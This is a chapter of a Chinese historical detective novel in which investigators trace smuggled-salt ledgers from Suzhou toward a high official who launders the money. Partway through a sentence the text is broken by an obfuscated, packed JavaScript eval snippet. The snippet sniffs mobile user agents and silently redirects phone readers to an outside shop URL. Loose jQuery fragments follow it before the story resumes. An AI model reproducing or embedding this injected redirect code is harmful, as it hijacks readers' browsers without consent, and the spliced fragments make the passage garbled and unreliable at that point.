三日后，徐州码头。
老邢已经提前雇好了一艘平底漕船，船舱不大，刚好够几个人和一堆文书塞进去。
船家是个五十来岁的瘦老头，姓吴，在运河上跑了三十年船，对扬州一带的水路了如指掌。
船行第一日，苏棠把宋思远案的旧卷和季淮的盐引记录摊在船舱里的小桌上，季淮的笔记上则圈出了扬州旧盐仓的具体位置。
城西南十八里，靠近运河支流的一片芦苇荡里，旧盐仓已经废弃多年，但它恰好处于扬州、苏州、杭州三地私盐网络的中转节点上。
“郑怀如果要在江南重新打通关节，需要一个能同时联系三地盐商的据点。旧盐仓位置偏，周围都是芦苇荡，船只进出不容易被发现。”苏棠指着季淮笔记上的简图，抬头神色认真。
“但有一个问题。”季淮坐在她对面，鼻梁上带着单边玻璃镜，伸手推推。
“旧盐仓旁边有一条官道，是扬州通往外地的必经之路。郑怀如果在那里频繁出入，一定会被当地人注意到。巡按御史的公文里说他是在扬州城外的私宅露面，不一定就是旧盐仓，也许他找到了另一个地方。”
“另一个地方在苏州河港。”苏棠翻开旧卷宗里的一页，立马接上。
“宋思远案发那年，苏州河港的货栈里查获过一批没有盐引的私盐，经办人记录里提到货栈的东家姓郑。当时没有确凿证据证明这个郑姓东家就是郑怀，因为货栈的契书上写的是别人的名字。”
她续道：“但如果货栈还在，郑怀回苏州的第一件事就是去那里拿剩下的账册。”
正说着，沈渡从舱外进来，歪在桌边，手里拿着老邢刚收到的飞鸽传书，不等苏棠问就说，“扬州那边有消息。”
“三天前有人在旧盐仓附近看见一艘没有旗号的货船靠岸，卸了几口箱子，搬进盐仓里。看船的老头说搬箱子的人里有一个穿灰袍、戴方巾的中年男人，和郑怀的画像有八分像。”
“他果然先去了旧盐仓。”
苏棠把地图扯过来，微微蹙眉，“货船没有旗号，说明他是临时雇的船，那些箱子大概率是他从别的地方运来的账册。”
“他在往旧盐仓集中东西。苏州河港的货栈和杭州钱塘江边的码头都有他的存货，他要全部集中到扬州，然后一次性运走，他不在江南久留。集中完毕之后会带着所有账册北上，然后把私盐网络的残留人马全部转给下一批替他出面的人。”
四目相对，沈渡轻点头，在她旁边坐下，瞧了季淮一眼又默默挨近苏棠些。
苏棠没动，季淮没说话，片刻撇头。
“那我们就在扬州等他。”
思忖半分，苏棠继续说，“他还有两个库房没搬完，苏州那个货栈是最大的一个，下一站苏州，我们在那把郑怀的货栈抄了，他就不得不在扬州露面。”
二人颔首。
船行第三日，申时，苏州河港。
货栈在河港最深处，是一座两层的旧木楼，楼下的仓库门锁着，楼上的窗户全关着，门口挂了一块“暂停营业”的木牌。
老邢带人从后墙翻进去，半盏茶的功夫就回来了。
他轻声，“仓库里堆了上百袋盐，都有盐引，是正规渠道进的货。但仓库角落里有几口铁箱子上了锁，撬开一看，全是账册。账册上记录的是近三个月的私盐贩运明细，收款方一栏写的是一个叫‘郑记’的商号。”
苏棠翻开账册。
里面的每一笔交易都记得清清楚楚：贩运日期、数量、路线、收款金额，以及收款后转汇的账户，转汇账户的名字是她熟悉的户部钱庄，周岩当年开的那个。
周岩死了，账户还在，有人在继续往里存钱。
“郑怀不是在中转私盐，他是在替人洗钱。周岩死了，曹淳死了，但那个账户没有被销户。”
苏棠声音平稳，“有人在户部钱庄里保下了那个账户，郑怀只是替那个人跑腿的，这个人比周岩藏得深多了。”
沈渡凑过去，拿过账册，翻了两页，“账户的户名是谁？”
“户名是假的，但账户的交易记录是真的，每一笔存入都对应一笔私盐贩运的收款，每一笔支出都对应一个朝中官员的名字。”
苏棠回的快，抓住账册翻到最后一页，上面有一行被墨涂掉的字，墨迹很新，不超过半个月。
她又扯过举到光下。
透过墨迹能隐约看到底下是一个两个字的人名。
苏棠眯起眼睛，“他要保的不是户部钱庄的账户，是这个名单上的人，周岩和曹淳倒台之后，这些官员还在。他们的银子还在走私盐这条老路。郑怀不肯露面，不是不敢，是还没到约定好的交货时间。”
说完放下。
沈渡接过合上，坐的随意潇洒，撑着下颌扭头看苏棠，“我们抄了货栈，他很快就会知道，等他来苏州，我们在货栈等他。”
苏棠轻笑。
深夜，货栈在被案戏司的人围了。
老邢带了四个差役从后墙翻进去，悄无声息撬开仓库的锁。
铁箱子还在，账册也在。
他让人把箱子原样搬出来，换上提前准备好的空箱子，再把锁原样挂回去。整个过程不到一炷香。
苏棠就在货栈对面的茶肆二楼等着，茶肆早已打烊，老板被老邢客客气气地请到隔壁屋里“暂歇”，桌上只留了一壶冷茶和两盏油灯。
她把从货栈搬来的账册摊在桌上，就着豆大的灯火逐页翻看，季淮坐在她对面，把挑出来的关键页码逐一抄录，沈渡站在窗边，侧身对着河港的方向，右手始终搭在刀柄上，偶尔回头瞧一眼。
“郑怀的账记得很细。”苏棠翻到其中一页，手指点在收款方一栏，“每一笔私盐贩运的收款都分成了三份，一份存入户部钱庄那个假名账户，一份以‘运费’名义汇给扬州的一家商号，还有一份直接标注为‘上缴’。”
说着，她一顿，稍微咬重字眼，“这个‘上缴’的比例最大，占六成。”
“六成上缴给谁？”季淮停下笔，顺着望去。
“没写名字，但每一笔‘上缴’的日期旁边都注了一个小字。”苏棠把账册推到他面前，指着页边一行极小的墨字。
“府”。
“府。”季淮皱起眉，说不上什么语气，“京城里能被称作‘府’的官员多了去了。”
“但能被郑怀称作‘府’、不用写全名、还收六成利润的人，不多。”
苏棠翻到账册最后一页，那一页被撕掉了一半，残留的纸边上有半个朱红的印痕。
她把油灯拉近，发现印痕的形状是一只瑞兽的爪子，继续说，“户部钱庄的假名账户是存银子的，扬州的商号是中转的，苏州的货栈是存货的。”
“三地分开，每一处都只是拼图的一角，郑怀不是头，他连分账都分不到六成，他就只是个管账的。”
沈渡偏头，也看了一眼那半个印痕，沉默一会，忽然开口，“能用这种私印的，至少要三品以上。”
苏棠点头，合上账册，闭闭眼又睁开，“周岩和曹淳都倒了，这个人的品级比他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553618|203911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们更高，说明他不在六部之内，而在六部之上。”
船舱里安静一瞬，油灯的火焰被窗外灌进来的河风吹得飘摇，把桌上纸片照得忽明忽暗。
季淮放下笔，把抄好的名录折好放进文书袋。
苏棠伸直手臂，舒缓一下站起来，走到窗边和沈渡并肩。
窗外货栈门口那盏灯笼还亮着，昏黄的光映在水面。
“郑怀现在还不知道货栈被抄了，我们搬账册的时候换上了空箱子，他至少还要三五天才会发觉。趁这个空档，你明天一早带人去扬州旧盐仓，那里还有一批账册，是苏州这边上缴之前更早的记录。”
苏棠依旧望着远方，嗓音压低，“新旧账册之间至少有两年的衔接账本，其中应该有写明‘上缴’对象的内容，我让季经历去杭州钱塘江边的码头查盐引存根，三地账目全部对上之后，那个‘府’字指的是谁就清楚了。”
沈渡点头，从腰间解下一块小铜牌递到她手边，“这是老邢的紧急联络牌，扬州那边一旦有变故，你让人持这块牌子去扬州府衙调兵。”
流苏垂在手心，还带着人的体温，苏棠指尖微颤，掌心收紧。
天亮之后，沈渡带人乘一艘快船沿运河北上，直扑扬州旧盐仓，苏棠留在苏州货栈，继续翻阅从铁箱子里搬出来的第二批账册。
这批账册记录了近三个月的私盐贩运明细，每一笔都对应着具体的日期和数量。
她翻到两个月前的一页，上面记录了一笔数额特别大的交易。
五千两白银，收款方不是往常的假名账户，而是一个她认识的名字：蔡稷。
蔡稷在那笔交易里只分到了一成，剩下的九成全部标注为“上缴”。
苏棠把这一页单独抽出来放在一边，继续往后翻，翻到最近半个月的记录时，发现了一个变化。
从半个月前开始，“上缴”的比例从六成提高到了八成，郑怀给扬州商号的分成没有变，他把多出来的两成全部从假名账户的提留里砍掉了。
“他急用钱。”苏棠盯着那两排数字，忽然说了一句。
季淮抬起头，发丝飘在额前有些凌乱，他划拉一下瞧来，“谁急用钱？”
“那个‘府’字背后的人，他半个月前忽然提高了上缴比例，说明他急需一大笔现银。”
苏棠递过去，“周岩倒台之后户部钱庄被查封了一大批账户，他的资金来源被切断了，所以只能通过郑怀这条私盐线加紧抽水。”
季淮抿唇，苏棠重新翻开之前记录蔡稷那笔交易的页面。
蔡稷只拿了一成，周岩和曹淳从来不在郑怀的账册里直接拿钱，他们拿的是抽成。
这个“府”字背后的人和周岩不是上下级关系，是平行的，他手里有独立的私盐抽水线，有自己的洗钱渠道，有自己的假名账户系统。
所以周岩管的是便民司和铸钱局的官银，这个人管的是私盐和黑市。
她把这个判断写在纸上，递给季淮，“明天沈渡从扬州回来之前，把苏州这批账册和旧卷的衔接年份全部校对完。我们的推演图从便民司画到铸钱局，再画到私盐线，现在缺的是这个交点上的名字。”
她结果下的干脆，“这个‘府’字印的主人，就是我们要找的交点。”
季淮接过，看片刻，忽然说，“苏提举，这个人如果比周岩藏得还深，我们现在抄了郑怀的货栈，等于惊动了他，他会不会提前动手？”
“一定会。”苏棠把灯芯挑高一些，在烛火中目光如炬，“所以我们要比他更快。”